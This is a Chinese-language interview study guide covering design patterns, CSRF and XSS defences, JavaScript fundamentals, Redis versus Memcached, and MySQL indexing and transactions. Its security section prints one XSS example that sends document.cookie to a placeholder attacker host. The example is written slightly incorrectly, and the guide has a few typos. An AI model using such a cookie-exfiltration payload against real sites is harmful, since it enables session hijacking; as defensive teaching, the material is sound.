此模式中,通過定義一個抽象的核心工廠類,並定義創建產品對象的介面,創建具體產品實例的工作延遲到其工廠子類去完成。這樣做的好處是核心類只關註工廠類的介面定義,而具體的產品實例交給具體的工廠子類去創建。當系統需要新增一個產品是,無需修改現有系統代碼,只需要添加一個具體產品類和其對應的工廠子類,是系統的擴展性變得很好,符合面向對象編程的開閉原則;

角色:

Product:抽象產品類

ConcreteProduct:具體產品類

Factory:抽象工廠類

ConcreteFactory:具體工廠類


抽象工廠模式

提供一個創建一系列相關或相互依賴對象的介面,而無須指定它們具體的類。抽象工廠模式又稱為Kit模式,屬於對象創建型模式。

此模式是對工廠方法模式的進一步擴展。在工廠方法模式中,一個具體的工廠負責生產一類具體的產品,即一對一的關係,但是,如果需要一個具體的工廠生產多種產品對象,那麼就需要用到抽象工廠模式了。

為了便於理解此模式,這裡介紹兩個概念:

產品等級結構:產品等級結構即產品的繼承結構,如一個抽象類是電視機,其子類有海爾電視機、海信電視機、TCL電視機,則抽象電視機與具體品牌的電視機之間構成了一個產品等級結構,抽象電視機是父類,而具體品牌的電視機是其子類。

產品族 :在抽象工廠模式中,產品族是指由同一個工廠生產的,位於不同產品等級結構中的一組產品,如海爾電器工廠生產的海爾電視機、海爾電冰箱,海爾電視機位於電視機產品等級結構中,海爾電冰箱位於電冰箱產品等級結構中。

角色:

抽象工廠(AbstractFactory):擔任這個角色的是抽象工廠模式的核心,是與應用系統的商業邏輯無關的。

具體工廠(Factory):這個角色直接在客戶端的調用下創建產品的實例,這個角色含有選擇合適的產品對象的邏輯,而這個邏輯是與應用系統商業邏輯緊密相關的。

抽象產品(AbstractProduct):擔任這個角色的類是抽象工廠模式所創建的對象的父類,或它們共同擁有的介面

具體產品(Product):抽象工廠模式所創建的任何產品對象都是一個具體的產品類的實例。


9. 什麼是CSRF攻擊,XSS攻擊?如何防範

CSRF全名為 Cross Site Request Forgery( 跨站請求偽造)。

現在的網站大多是用cookie/session的方式來做登入驗證,我們都知道只要user登入成功後,server會在response header 夾帶 session id給瀏覽器,設定在cookie中,之後每次的request都會自動在request header中帶上這個cookie,server只認session id,因此user不用重複登入。

如之前提到的,利用XSS搭配js的document.cookie語法,把cookie傳到駭客的server,類似這樣:<img src="http://hack.com/hack.php?msg=document.cookie"/>

這就是一種做法。

駭客再把cookie帶在header中送request到你的網站來做攻擊。

所以session id的cookie要記得設定HttpOnly,讓駭客無法透過javascript(document.cookie)拿到session id。

駭客可以透過XSS在你這個網站植入一個惡意連結,甚至是看不到的隱藏圖片,一旦你誤擊這個惡意連結,就會連到駭客的網站,駭客網站透過瀏覽器發出request到你這個網站,假如你沒有登出,加上網站防禦機制沒有處理好,就有可能被攻擊成功。


預防 CSRF 另一種方法,是在 form 裡面加上一個隱藏的欄位,資料 submit 時同時送出這個欄位的 token,

這個 token 的值由 server 隨機產生,並存在 server 的 session 中。

按下 submit 之後,server 比對表單中的 token與自己 session 裡面存的是不是一樣,

是的話就代表這的確是,由使用者本人發出的 request。

由於 token 是由 server 產生,並且每一段不同的 session 就更換一次。

攻擊者並不知道 token 值是什麼,也猜不出來,自然就無法進行攻擊了。

要留意的是,如果 server 支持,跨來源(cross origin)的 request,

攻擊者就可以在他的頁面發起一個 request,順利拿到這個 csrf token 並進行攻擊,

但前提是 server 接受這個 domain 的 request。


XSS又稱CSS,全稱Cross SiteScript(跨站腳本攻擊), XSS攻擊類似於SQL注入攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie信息、破壞頁面結構、重定向到其它網站等。

理論上,只要存在能提供輸入的表單並且沒做安全過濾或過濾不徹底,都有可能存在XSS漏洞。

PHP防止XSS跨站脚本攻击的方法:是针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数 。

在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义.

所以,htmlspecialchars函数更多的时候要加上第二个参数, 应该这样用: htmlspecialchars($string,ENT_QUOTES).当然,如果需要不转化如何的引号,用htmlspecialchars($string,ENT_NOQUOTES).

另外, 尽量少用htmlentities, 在全部英文的时候htmlentities和htmlspecialchars没有区别,都可以达到目的.但是,中文情况下, htmlentities却会转化所有的html代码,连同里面的它无法识别的中文字符也给转化了。


10. 什麼是RESTful

REST,全名 Representational State Transfer( 表現層狀態轉移),它是一種設計模式,RESTful 只是從名詞轉為形容詞,像是 peace 轉成形容詞是 peaceful。RESTful 則形容以此規範設計的 API,稱為 RESTful API。換言之,符合 REST 規範的 API,就被稱為 RESTful API


11. 如果實現自動加載?不用composer如何實現?PSR-4是什麼?

PSR-4 Autoloader 規範描述了如何架構專案的目錄結構及如何使用命名空間,遵循這個規範並搭配 Composer 提供的 autoload 就可以完成自動載入的動作。要使用 PSR-4 Autoloader 必須使用正確的命名空間。

完全符合規則的命名空間要符合以下格式(class 代表 classes, interfaces, traits)

  \<命名空間>(\<子命名空間>)*\<類別名稱>

完整的 class 名稱必須有最高層級的 namespace,像是大家熟知的 "vendor"

完整的 class 名稱可以有一或多個子命名空間

完整的 class 名稱最後必須要有一個 class

完整的 class 名稱內底線不具有任何特殊含意

完整的 class 名稱內大小寫字母可以任意組合

所有的 class 名稱必須大小寫敏感

《面試官別再問》前端JavaScript面試題集錦

1. JavaScript有哪些數據類型,它們的區別?

JavaScript共有八種數據類型,分別是Undefined、Null、Boolean、Number、String、Object、Symbol、BigInt。

其中Symbol 和BigInt 是ES6 中新增的數據類型:


Symbol 代表創建後獨一無二且不可變的數據類型,它主要是為了解決可能出現的全局變量衝突的問題。

BigInt 是一種數字類型的數據,它可以表示任意精度格式的整數,使用BigInt 可以安全地存儲和操作大整數,即使這個數已經超出了Number 能夠表示的安全整數範圍。


2. null和undefined區別

首先Undefined 和Null 都是基本數據類型,這兩個基本數據類型分別都只有一個值,就是undefined 和null。

undefined 代表的含義是未定義,null 代表的含義是空對象。一般變量聲明了但還沒有定義的時候會返回undefined,null主要用於賦值給一些可能會返回對象的變量,作為初始化。

undefined 在JavaScript 中不是一個保留字,這意味著可以使用undefined來作為一個變量名,但是這樣的做法是非常危險的,它會影響對undefined 值的判斷。我們可以通過一些方法獲得安全的undefined 值,比如說void 0。

當對這兩種類型使用typeof 進行判斷時,Null 類型化會返回"oobject",這是一個歷史遺留的問題。當使用雙等號對兩種類型的值進行比較時會返回true,使用三個等號時會返回false。


3. typeof NaN 的結果是什麼?

NaN 指“不是一個數字"(not a number),NaN 是一個“警戒值"(sentinel value,有特殊用途的常規值),用於指出數字類型中的錯誤情況,即“執行數學運算沒有成功,這是失敗後返回的結果"。

NaN 是一個特殊值,它和自身不相等,是唯一一個非自反(自反,reflexive,即x === x 不成立)的值。而NaN !== NaN 為true。


4. 資料型別轉換

在JavaScript中型別轉換有三種情況:

轉換為數字(呼叫Number(),parseInt(),parseFloat()方法)

轉換為字串(呼叫.toString()或String()方法)

轉換為布林值(呼叫Boolean()方法)

null、undefined沒有.toString方法

轉換為數字

Number():可以把任意值轉換成數字,如果要轉換的字串中有不是數字的值,則會返回NaN


5. js中&&是什麼運算符?

當&&連接語句時,兩邊的語句會轉化為布爾類型(Boolean),然後再進行運算,具體的運算規則如下:

1、兩邊條件都為true時,結果才為true;

2、如果有一個為false,結果就為false;

3、當第一個條件為false時,就不再判斷後面的條件

注意:當數值參與邏輯與運算時,結果為true,那麼會返回的會是第二個為真的值;如果結果為false,返回的會是第一個為假的值。

&&運算符的三個層次理解

第一層理解:當操作數都是布爾值時,&&運算符對兩個值執行布爾與(and)操作,只有第一個操作數和第二個操作數都是true,

它才返回true。


6.DOM元素,到底是什麼?

文件物件模型(Document Object Model, DOM)是 HTML、XML 和 SVG 文件的程式介面。它提供了一個文件(樹)的結構化表示法

並定義讓程式可以存取並改變文件架構、風格和內容的方法。DOM 提供了文件以擁有屬性與函式的節點與物件組成的結構化表示。

節點也可以附加事件處理程序,一旦觸發事件就會執行處理程序。 本質上,它將網頁與腳本或程式語言連結在一起。


7.JavaScript事件傳播

事件傳播是一種機制,它定義事件如何通過 DOM 樹傳播或傳播到達目標,以及之後發生的事情。

讓我們在一個例子的幫助下理解這一點,假設你已經在一個巢狀在一個段落(即<p>元素)中的超連結(即 <a> 元素)上

分配了一個 click 事件處理程式。現在,如果單擊該連結,將執行處理程式。

但是,如果將 click 事件處理程式分配給包含該連結的段落,而不是連結,那麼即使在這種情況下,單擊該連結仍將觸發處理程式。

這是因為事件不僅影響生成事件的目標元素 - 它們在 DOM 樹中上下移動以到達目標。這稱為事件傳播。

捕獲階段

在捕獲階段,事件從 Window 向下傳播通過 DOM 樹到目標節點。例如,如果使用者單擊超連結,則該單擊事件將通過元素 <html> ,<body> 元素和包含該連結的<p>元素。

此外,如果目標元素的任何祖先(即父,祖父等)和目標本身具有針對該型別事件的特別註冊的捕獲事件監聽器,則在該階段期間執行這些監聽器。

冒泡階段

在冒泡階段,恰好相反。在這個階段,事件傳播或冒泡 DOM 樹,從目標元素到視窗,逐個訪問目標元素的所有祖先。例如,如果使用者單擊超連結,則該單擊事件將通過 <p> 包含連結, <body> 元素, <html> 元素和 document 節點的元素。

此外,如果目標元素的任何祖先和目標本身具有為該型別的事件分配的事件處理程式,則在此階段執行這些處理程式。在現代瀏覽器中,預設情況下,所有事件處理程式都在冒泡階段進行註冊。


7.preventDefault及stopPropagation函式區別

preventDefault(): 預防作用的元素預設事件發生,如果只是要預防 <a href="#"> 回到頁首,加上這個。

stopPropagation(): 停止作用的元素冒泡,其父元素的事件會停止發生,如果作用元素的父元素也有綁定一些行為,不想要他們在這時候產生行為時,就加上這個。

最後說一下return false; 這是jQuery中提供

它幫我們同時做了:

- event.preventDefault(); 

- event.stopPropagation();


8.什麼是event.target?

指向最初觸發事件的DOM物件。與 event.currentTarget 屬性不同的是,event.currentTarget屬性總會指向目前於冒泡或捕捉階段

正在處理該事件之事件處理器所註冊的DOM物件,而event.target屬性則是永遠指向觸發事件的DOM物件。


9.Scope作用域?

作用域就是一個獨立的區域,包裹著變量,避免變量暴露。也就是說作用域最大的用處就是隔離變量,不同作用域下同名變量不會有衝突。

在 ES6 以前,唯一產生作用域的方法就是宣告 function,每一個 function 都有自己的作用域,在作用域外就存取不到這個 function 內部所定義的變數。

因此 JavaScript 的作用域其實可分為三個層級:

Global Level Scope:全域作用域

Function Level Scope:函式作用域

Block Level Scope(ES6):區塊作用域

也就是說,變數作用域的範圍,其實就取決於這個變數的宣告方式,以及在哪進行宣告。


E6 以後的作用域:Block Scope

接著再回到 ES6,新增了區塊作用域(block scope)的概念,也就是以 let 和 const 來宣告變數。

在第三週的 ES6 部份我們也曾提到,以 let、const 或 var 方式來宣告變數,最大的差別在於變數的作用域範圍不同:

var:作用於整個函數範圍中(function scope)

let 與 const:均為區塊作用域(block scope),如此可避免污染到大括號 {...} 外的變數

而 let 和 const 最大的區別,在於該變數是否能被重新賦值:

const(constant):常數宣告後就不能再重新賦值,並且在宣告時就必須賦值

let:可重新賦值,也可先進行宣告但不賦值


10.Closure 閉包

閉包(Closure)是擁有閒置變數(Free variable)的運算式。閒置變數真正扮演的角色依當時語彙環境(Lexical environment)而定。

支援閉包的程式語言通常具有一級函式(First-class function)。建立函式不等於建立閉包。如果函式的閒置變數與當時語彙環境綁定,該函式才稱為閉包。

那麼何為閒置變數?閒置變數是指對於函式而言,既非區域變數也非參數的變數,像區域變數或參數,其作用範圍基本上在被定義的函式範 圍中。它是被綁定變數(Bound variable)。


11.JavaScript Prototype (原型) 是什麼?

所有JavaScript中的函式都有一個內建的prototype屬性,指向一個特殊的prototype物件

prototype物件中也有一個contructor屬性,指向原來的函式,互相指來指去會讓你覺得有點怪異,但設計就是如此。

再來是__proto__這個內部屬性,它是一個存取器(accessor)屬性,意思是用getter和setter函式合成出來的屬性,我們可以用它來更加深入理解整個原型的樣貌。

__proto__是每一個JavaScript中物件都有的內部屬性,代表該物件繼承而來的源頭,也就是指向該物件的原型(prototype),它會用來連接出原型鏈,或可以理解為原型的繼承結構。


12.什麼是IIFE,它的用途是什麼?

不需要呼叫此函式,也能執行 (立刻執行)

IIFE 最主要目的是避免污染到全域執行環境並照成污染與衝突

限制作用域的用途,「立即函式」無法在外層呼叫

變數的作用域只在函式內,在外層無法取得變數

「立即函式」本身是表達式,所以也能回傳一個值

因此,透過IIFEs,我們可以發現,在IIFEs中所建立的變數,都不會影響到Global Execution Context所建立的變數,也就是說,透過IIFEs,它避免了我們的變數間可能會互相干擾覆蓋的情況。


13.`Generator`函數是什麼,有什麼作用?

宣告一個 Generator 的關鍵字是 function*,function 關鍵字後面接著一個星號 *

Generator 函數裡面使用 yield 關鍵字,來定義和暫停不同的內部執行狀態

var g = gen(); 執行 Generator 函數會返回一個 Generator Object,其本質上是一個 Iterator。

一個 Generator 的運作有點像是一個狀態機 (state machine),會一直改變內部的不同狀態:起始狀態 -> 繼續 -> 暫停 (狀態 1) -> 繼續 -> 暫停 (狀態 2) -> 繼續 -> .... -> 結束 (狀態 N)

一個 Generator Object 的起始狀態會先暫停什麼都不做,而每次執行 next() 方法,就會繼續執行函數,直到遇到下一個 yield 關鍵字,又會暫停函數的執行,而每一次暫停時會 yield (產出) 一個當前狀態值。


展開運算子( Spread Operator )

//===========過去寫法===========

let groupA = ['爸爸', '媽媽'];

let groupB = ['老大','老二','老么'];


const groupAll = groupA.concat(groupB);

console.log(groupAll);

// ["爸爸", "媽媽", "老大", "老二", "老么"];



//===========新的寫法===========

let groupA = ['爸爸', '媽媽'];

let groupB = ['老大','老二','老么'];


const groupAll = [...groupA, ...groupB];  //拆解完後,再用陣列[]包起來,產生新的陣列

console.log(groupAll);

// ["爸爸", "媽媽", "老大", "老二", "老么"];

《面試官別再問》比較 Memcached 與 Redis

Redis相比Memcached來說,擁有更多的資料結構並支援更豐富的資料操作,通常在Memcached裡,你需要將資料拿到客戶端來進行類似的修改再set回去,序列化再反序列化,這大大增加了網路IO的次數和資料體積。在Redis中,這些複雜的操作通常和一般的get/set一樣高效。所以,如果需要快取能夠支援更復雜的結構和操作,那麼在Redis會是不錯的選擇。

與Memcached僅支援簡單的key/value結構的資料記錄不同,Redis支援的資料型別要豐富得多。最為常用得資料型別主要有5中:String、Hash、List、Set、Zset。Redis內部使用一個redisObject物件來表示所有得key和value。

Memcached單個key-value大小有限,一個value最大隻支持1MB,而Redis最大支持512MB;

Memcached只是個內存緩存,對可靠性無要求;而Redis更傾向於內存資料庫,因此對對可靠性方面要求比較高;

從本質上講,Memcached只是一個單一key-value內存Cache;而Redis則是一個數據結構內存資料庫,支持五種數據類型,因此Redis除單純緩存作用外,還可以處理一些簡單的邏輯運算,Redis不僅可以緩存,而且還可以作為資料庫用;

Redis支持集群分布式,也就是說集群本身均衡客戶端請求,各個節點可以交流,可拓展行、可維護性更強大;

《面試官別再問》最常問的MySQL面試題集合

1.MySQL 有哪些存儲引擎?都有什麼區別?

MySQL 5.7 支持的存儲引擎有InnoDB、MyISAM、Memory、Merge、Archive、CSV、BLACKHOLE 等。

可以使用SHOW ENGINES;語句查看系統所支持的引擎類型


ARCHIVE   用於資料存檔的引擎,資料被插入後就不能在修改了,且不支持索引。

CSV   在存儲資料時,會以逗號作為資料項之間的分隔符。

BLACKHOLE   會丟棄寫操作,該操作會返回空內容。

FEDERATED 將資料存儲在遠程資料庫中,用來訪問遠程表的存儲引擎。

InnoDB   具備外鍵支持功能的事務處理引擎

MEMORY   置於記憶体的表

MRG_MyISAM   用來管理由多個MyISAM 表構成的表集合

MyISAM   主要的非事務處理存儲引擎

SEQUENCE   實現自增的序列

Aria   增強版的MylSAM,解決了MylSAM崩潰安全恢復問題

PERFORMANCE_SCHEMA   關注資料庫執行過程中的效能相關的資料


2.MySQL中float、double、decimal三個浮點型別的區別

float   浮點型別用於表示==單精度浮點==數值

double  浮點型別用於表示==雙精度浮點==數值

decimal 精度比float高,資料處理比float簡單,一般優先考慮,但float存儲的資料范圍大,所以範圍大的資料就只能用它了

decimal 類型可以精確地表示非常大或非常精確的小數.大至1028(正或負)以及有效位數多達28位的數字

可以作為decimal類型存儲而不失其精確性.該類型對於必須避免舍入錯誤的應用程序(如記賬)很有用


3.Datetime、Timestamp 儲存時間的區別

Timestamp只佔4個字節,而且是以utc的格式儲存,它會自動檢索當前時區並進行轉換。

Datetime以8個字節儲存,不會進行時區的檢索。

也就是說,對於Timestamp來說,如果儲存時的時區和檢索時的時區不一樣,那麼拿出來的資料也不一樣。對於Datetime來說,存什麼拿到的就是什麼。

還有一個區別就是如果存進去的是NULL,Timestamp會自動儲存當前時??,而 Datetime會?儲存NULL。


4.Char、Varchar、Varbinary 儲存字符的區別

binary與varbinary類型和char與varchar類型是相似的,只是他們存儲的是二進制資料,也就是說他們是包含字節流而不是字符流,他們有二進製字符的集合和順序,他們的對比,排序是基於字節的數值進行的

binary與varbinary的最大長度和char與varchar是一樣的,只不過他們是定義字節長度,而char和varchar對應的是字符長度。

char(m)定義的列的長度為固定的,m取值可以為0~255之間,當儲存char值時,在它們的右邊填充空格以達到指定的長度。當檢索到char值時,尾部的空格被刪除掉。在儲存或檢索過程中不進行大小寫轉換。

varchar(m)定義的列的長度為可變長字串,m取值可以為0~65535之間,(varchar的最大有效長度由最大行大小和使用的字符集確定。整體最大長度是65,532位元組)。varchar值儲存時只儲存需要的字元數,另加一個位元組來記錄長度(如果列宣告的長度超過255,則使用兩個位元組)。varchar值儲存時不進行填充。當值儲存和檢索時尾部的空格仍保留,符合標準sql。


5.什麼是索引

索引是對資料庫表中一列或多列的值進行排序的一種結構,使用索引可快速訪問資料庫表中的特定信息。如果想按特定職員的姓來查找他或她,則與在表中搜索所有的行相比,索引有助於更快地獲取信息。

唯一索引是不允許其中任何兩行具有相同索引值的索引。當現有資料中存在重複的鍵值時,大多數資料庫不允許將新創建的唯一索引與表一起保存。資料庫還可能防止添加將在表中創建重複鍵值的新資料。

聚集索引中,表中行的物理順序與鍵值的邏輯(索引)順序相同。一個表只能包含一個聚集索引。如果某索引不是聚集索引,則表中行的物理順序與鍵值的邏輯順序不匹配。與非聚集索引相比,聚集索引通常提供更快的資料訪問速度。


6.MySQL索引類型有?

普通索引。基本索引,沒有任何限制

唯一索引。索引列的值必須唯一,可以為空 

主鍵索引。一個表只有一個主鍵,不能為空。是特殊的唯一索引 。

組合索引。多個字段創建的索引,只有在查詢條件中使用了創建索引時的第一個字段,索引才會被使用。使用組合索引時遵循最左前綴集合。

全文索引。用來查找文本中的關鍵字,而不是直接與索引中的值相比較。


7.比較一下B+樹索引和Hash索引

B+樹是一個平衡的多叉樹,從根節點到每個葉子節點的高度差值不超過1,而且同層級的節點間有指針相互鏈接。

在B+樹上的常規檢索,從根節點到葉子節點的搜索效率基本相當,不會出現大幅波動,而且基於索引的順序掃描時,也可以利用雙向指針快速左右移動,效率非常高。

Hash索引就是采用一定的Hash算法,把鍵值換算成新的Hash值,檢索時不需要類似B+樹那樣從根節點到葉子節點逐級查找,只需一次Hash算法即可立刻定位到相應的位置,速度非常快。

如果是等值查詢,那麽哈希索引明顯有絕對優勢,因為只需要經過一次算法即可找到相應的鍵值;當然了,這個前提是,鍵值都是唯一的。如果鍵值不是唯一的,就需要先找到該鍵所在位置,然後再根據鏈表往後掃描,直到找到相應的資料;

如果是範圍查詢檢索,這時候哈希索引就毫無用武之地了,因為原先是有序的鍵值,經過哈希算法後,有可能變成不連續的了,就沒辦法再利用索引完成範圍查詢檢索;

B+樹索引的關鍵字檢索效率比較平均,不像B樹那樣波動幅度大,在有大量重復鍵值情況下,哈希索引的效率也是極低的,因為存在所謂的哈希碰撞問題。


8.Mysql中Explain的各個參數解釋

select_type

simple :即簡單select 查詢,不包含union及子查詢;

primary :最外層的select 查詢;

union :表示此查詢是union 的第二或隨後的查詢;

dependent union:union 中的第二個或後面的查詢語句, 取決於外面的查詢;

union result :union的結果;

subquery :子查詢中的第一個select;

dependent subquery:子查詢中的第一個select,取決於外面的查詢,即子查詢依賴於外層查詢的結果。


type

性能從好到壞依次如下:

system:表中只有一條資料,這是一個特殊的const 類型;

const:針對主鍵或唯一索引的等值查詢掃描,最多只返回一行資料,const 查詢速度非常快,因為它僅僅讀取一次即可;

eq_ref:此類型通常出現在多表的join 查詢,表示對於前表的每一個結果,都只能匹配到後表的一行結果,並且查詢的比較操作通常是=, 查詢效率較高;

ref:此類型通常出現在多表的join 查詢, 針對於非唯一或非主鍵索引, 或者是使用了最左前綴規則索引的查詢;

fulltext:全文索引檢索,要注意,全文索引的優先級很高,若全文索引和普通索引同時存在時,mysql不管代價,優先選擇使用全文索引;

ref_or_null:與ref方法類似,只是增加了null值的比較。實際用的不多;

unique_subquery:用於where中的in形式子查詢,子查詢返回不重複值唯一值;

index_subquery:用於in形式子查詢使用到了輔助索引或者in常數列表,子查詢可能返回重複值,可以使用索引將子查詢去重;

index_merge:表示查詢使用了兩個以上的索引,最後取交集或者並集,常見and,or的條件使用了不同的索引,官方排序這個在ref_or_null之後,但是實際上由於要讀取所個索引,性能可能大部分時間都不如range;

range:表示使用索引範圍查詢,通過索引字段範圍獲取表中部分資料記錄。這個類型通常出現在=, <>, >, >=, <, <=, IS NULL, <=>, BETWEEN, IN操作中,此時輸出的ref 字段為NULL並且key_len字段是此次查詢中使用到的索引的最長的那個;

index:全表掃描,只是掃描表的時候按照索引次序進行而不是行。主要優點就是避免了排序,但是開銷仍然非常大,這種情況時, Extra 字段會顯示Using index;

all:性能最差的情況,使用了全表掃描,系統必須避免出現這種情況。


possible_keys

可能用到的索引。


key

真正用到的索引。

key_len

使用了索引字節的長度。

ref

之前用到的key索引的哪一列或常量

rows

掃描了多少行數,也是性能評估的重要依據


extra

Distinct:一旦找到了與行相聯合匹配的行就不再搜索了;

Using filesort:使用了文件排序,性能非常慢,需要優化。

Using index:查詢使用到了索引,列資料是從僅僅使用了索引中的信息而沒有讀取實際的行動的表返回的,這發生在對錶的全部的請求列都是同一個索引的部分的時候。

Using temporary:使用了臨時表排序,性能非常慢,需要優化。

Using where:表示使用了where進行查詢,不是很重要。

ALL:這個連接類型對於前面的每一個記錄聯合進行完全掃描,這一般比較糟糕,需要優化。


9.索引利弊是什麼及索引分類

第一,通過建立唯一性索引,可以保證資料庫表中每一行資料的唯一性。

第二,可以大大加快資料的檢索速度,這也是建立索引的最主要的原因。

第三,可以加速表和表之間的連線,特別是在實現資料的參考完整性方面特別有意義。

第四,在使用分組和排序子句進行資料檢索時,同樣可以顯著減少查詢中分組和排序的時間。

第五,通過使用索引,可以在查詢的過程中,使用優化隱藏器,提高系統的效能。 


雖然,索引有許多優點,但是,為表中的每一個列都增加索引,是非常不明智的。這是因為,增加索引也有許多不利的一個方面。

第一,建立索引和維護索引要耗費時間,這種時間隨著資料量的增加而增加。

第二,索引需要佔物理空間,除了資料表佔資料空間之外,每一個索引還要佔一定的物理空間,如果要建立聚簇索引,那麼需要的空間就會更大。

第三,當對錶中的資料進行增加、刪除和修改的時候,索引也要動態的維護,這樣就降低了資料的維護速度。


10.什麼是聚簇索引和非聚簇索引?

從物理儲存角度來分,索引可以分為聚簇索引和非聚簇索引,區別主要看葉子節點存了什麼資料。

在InnoDB裡,索引B+Tree的葉子節點儲存了整行資料的是主鍵索引,也被稱之為聚簇索引。聚簇索引是對磁碟上實際資料重新組織以按指定的一個或多個列的值排序的演算法。特點是儲存資料的順序和索引順序一致。一般情況下主鍵會預設建立聚簇索引,且一張表只允許存在一個聚簇索引,因為資料一旦儲存,順序只能有一種。找到了索引就找到了需要的資料,那麼這個索引就是聚簇索引,所以主鍵就是聚簇索引,修改聚簇索引其實就是修改主鍵。

索引B+Tree的葉子節點只儲存了主鍵的值和索引列的是非主鍵索引,也被稱之為非聚簇索引。一個表可以有多個非聚簇索引。非聚簇索引的儲存和資料的儲存是分離的,也就是說可能找到了索引但沒找到資料,需要根據索引上的值(主鍵)再次回表查詢,非聚簇索引也叫做輔助索引。


11.資料庫事務特點及潛在問題?

原子性(Atomic):事務包含的所有操作,要么全做,要么全不做回滾;

一致性(Consistency):從一個一致狀態到另一個一致狀態;eg:A、B之間轉賬,兩者的金額總和轉賬前後必須相同。

隔離性(Isolation):多個事務並發執行時,不會相互影響。

持久性(Durability):一個事務一旦修改,它對資料庫的修改應該永久存在資料庫中。

事務並發引起的問題以及如何避免

第一,更新丟失——mysql所有事務隔離級別在資料庫層面均可避免。

第二,臟讀——READ-COMMITTED事務隔離級別以上可以避免。(未提交的事務修改的資料也能讀取到而引起的錯誤資料,RC級別以上可避免)

第三,不可重複讀——REPETABLE-READ事務隔離級別以上可避免。(加鎖後讀取的資料會因為其他事務操作而變化,RR級別以上可避免)

第四,幻讀——SERIALIZABLE事務隔離級別可避免。